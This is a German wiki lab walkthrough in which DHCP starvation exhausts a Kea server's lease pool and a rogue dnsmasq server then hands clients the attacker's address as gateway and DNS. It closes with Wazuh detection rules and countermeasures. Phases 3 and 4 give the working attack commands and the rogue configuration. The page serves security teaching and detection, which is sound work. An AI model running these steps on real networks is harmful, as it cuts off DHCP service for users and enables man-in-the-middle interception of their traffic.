DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP

In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation-Attacke erschöpft. Sobald Kea keine Adressen mehr vergeben kann, übernimmt ein untergeschobener (rogue) DHCP-Server auf der Angreifer-Maschine die Adressvergabe und biegt Gateway und DNS auf den Angreifer um. Abschließend wird gezeigt, wie sich der Angriff in den Kea-Logs bzw. im Wazuh-SIEM nachweisen lässt.

Warnung
Nur im isolierten Laborsegment ausführen. Eine Starvation-Flut legt im Produktivnetz die DHCP-Versorgung für alle Clients lahm.

Szenario

Rolle Host IP Dienst
Legitimer DHCP kea.it.int 10.0.10.1 Kea DHCP4
Angreifer kali-innen 10.0.10.101 dnsmasq (Rogue), dhcpstarv
Opfer client2XX per DHCP frischer Lease-Bezug

Alle Hosts liegen in derselben Broadcast-Domain (gleiches VLAN). Das ist Pflicht, da DHCPDISCOVER/REQUEST Broadcasts sind und ohne DHCP-Relay nicht über die L3-Grenze hinauskommen.

Voraussetzungen

  • Drei Maschinen im selben Segment (Kea-Server, Kali, Opfer-Client)
  • Auf der Kali: dnsmasq, dhcpstarv bzw. yersinia
  • Schreibzugriff auf die Kea-Konfiguration für die Vorbereitung der Demo

Phase 1: Aufklärung

Vorhandenen DHCP-Server und seinen Pool sichtbar machen:

  • nmap --script broadcast-dhcp-discover

Liefert den antwortenden Server, das angebotene Gateway, den DNS und die Lease-Time — also genau die Werte, die der Rogue-Server später nachbilden bzw. überschreiben soll.

Phase 2: Kea für die Demo vorbereiten

Damit die Starvation im Labor deterministisch funktioniert, zwei Stellschrauben in der Kea-Konfiguration. Entscheidend ist match-client-id:

match-client-id (Default true)
Kea identifiziert einen Client primär über die Client-ID (Option 61), erst danach über die MAC. Sendet ein Starvation-Tool über alle Pakete dieselbe Client-ID, ordnet Kea sie demselben Lease zu — die Attacke verpufft. Auf false gesetzt, schlüsselt Kea ausschließlich über die MAC (chaddr), und jede neue gefälschte MAC erzwingt einen neuen Lease.
Poolgröße
Für eine schnell sichtbare Demo den Pool klein halten, sonst dauert das Leersaugen unnötig lange.
{
  "Dhcp4": {
    "interfaces-config": { "interfaces": [ "eth0" ] },
    "match-client-id": false,
    "valid-lifetime": 600,
    "subnet4": [
      {
        "id": 1,
        "subnet": "10.0.10.0/24",
        "pools": [ { "pool": "10.0.10.50 - 10.0.10.60" } ],
        "option-data": [
          { "name": "routers",            "data": "10.0.10.1" },
          { "name": "domain-name-servers", "data": "10.0.10.1" }
        ]
      }
    ]
  }
}

Elf Adressen (.50–.60), niedrige valid-lifetime — der Pool ist in Sekunden erschöpft.

  • systemctl restart kea-dhcp4-server

Phase 3: Starvation

Den Kea-Pool von der Kali aus leersaugen. dhcpstarv variiert die Quell-MAC und fordert für jede einen neuen Lease an:

  • dhcpstarv -i eth0

Alternativ mit yersinia (interaktiv, DHCP → sending DISCOVER packet):

  • yersinia -I

Kontrolle auf dem Kea-Server — der Pool füllt sich mit fremden Leases:

  • kea-admin lease-dump bzw. Blick in die Lease-Datei /var/lib/kea/kea-leases4.csv

Sobald alle elf Adressen vergeben sind, beantwortet Kea neue DISCOVER nicht mehr mit einem Angebot.

Phase 4: Rogue-DHCP übernimmt

Jetzt ist Kea „taub“ und der dnsmasq auf der Kali ist der einzige, der noch Adressen vergibt. Gateway und DNS zeigen auf den Angreifer: 

interface=eth0
bind-interfaces
dhcp-range=10.0.10.150,10.0.10.200,255.255.255.0,12h
dhcp-option=3,10.0.10.101
dhcp-option=6,10.0.10.101
server=8.8.8.8
log-queries
log-dhcp
dhcp-option=3
Gateway → Angreifer (.101)
dhcp-option=6
DNS → Angreifer (.101)
  • dnsmasq -C dnsmasq.conf -d

Der Bereich .150–.200 überschneidet sich nicht mit dem Kea-Pool, damit kein Adresskonflikt die Demo stört.

Phase 5: Nachweis am Client

Auf dem Opfer-Client einen frischen Bezug erzwingen — ein bestehender Lease wird nicht sofort gewechselt:

  • Linux: dhclient -r && dhclient
  • Windows: ipconfig /release && ipconfig /renew

Prüfen, dass Gateway und DNS jetzt auf 10.0.10.101 zeigen:

  • ip route und resolvectl status

Ab hier läuft der gesamte Traffic des Clients über die Angreifer-Box — Grundlage für MitM, DNS-Spoofing oder einen transparenten Proxy.

Phase 6: Erkennung im SIEM

Kea protokolliert jede Lease-Vergabe. Die Starvation erzeugt eine charakteristische Lawine an Lease-Events von ständig wechselnden MACs in kurzer Zeit.

Relevante Kea-Logmeldungen:

DHCP4_LEASE_ADVERT
Antwort auf einen DISCOVER (Angebot)
DHCP4_LEASE_ALLOC
Lease nach REQUEST fest vergeben
Allocation-Failure
Sobald der Pool voll ist, meldet Kea, dass kein freier Lease mehr vergeben werden kann — diese Zeilen markieren den Moment der erfolgreichen Starvation.

Kea-Logging in eine Datei lenken, die der Wazuh-Agent einliest: 

"loggers": [
  {
    "name": "kea-dhcp4.leases",
    "output-options": [ { "output": "/var/log/kea/kea-dhcp4.log" } ],
    "severity": "INFO"
  }
]

In der ossec.conf des Agenten: 

<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/kea/kea-dhcp4.log</location>
</localfile>

Erkennungslogik: nicht der einzelne Lease ist verdächtig, sondern die Frequenz. Eine Wazuh-Regel mit frequency/timeframe schlägt an, wenn in wenigen Sekunden überdurchschnittlich viele Lease-Vergaben auftreten: 

<group name="kea,dhcp,">
  <rule id="100600" level="3">
    <decoded_as>kea</decoded_as>
    <match>DHCP4_LEASE_ALLOC</match>
    <description>Kea: Lease vergeben</description>
  </rule>

  <rule id="100601" level="10" frequency="30" timeframe="20">
    <if_matched_sid>100600</if_matched_sid>
    <description>Moegliche DHCP-Starvation: ungewoehnlich viele Lease-Vergaben</description>
    <mitre>
      <id>T1498</id>
    </mitre>
  </rule>
</group>

(Schwellwert frequency/timeframe an die Poolgröße und das normale Lease-Aufkommen im Segment anpassen.)

Gegenmaßnahmen

DHCP Snooping
Auf einem gemanagten Switch der Standardschutz. Nur der Uplink-Port zum echten Kea-Server wird als trusted markiert; auf allen anderen Ports werden Server-Antworten (OFFER/ACK) verworfen. Damit fällt der Rogue-dnsmasq sofort durch.
Port Security
Begrenzung der MAC-Adressen pro Port fängt die MAC-Flut der Starvation ab.
Rate-Limiting
DHCP-Pakete pro Port limitieren.

Siehe auch

Abgerufen von „http://www.xinux.net/index.php?title=DHCP-Starvation_gegen_Kea_mit_anschließendem_Rogue-DHCP&oldid=71451“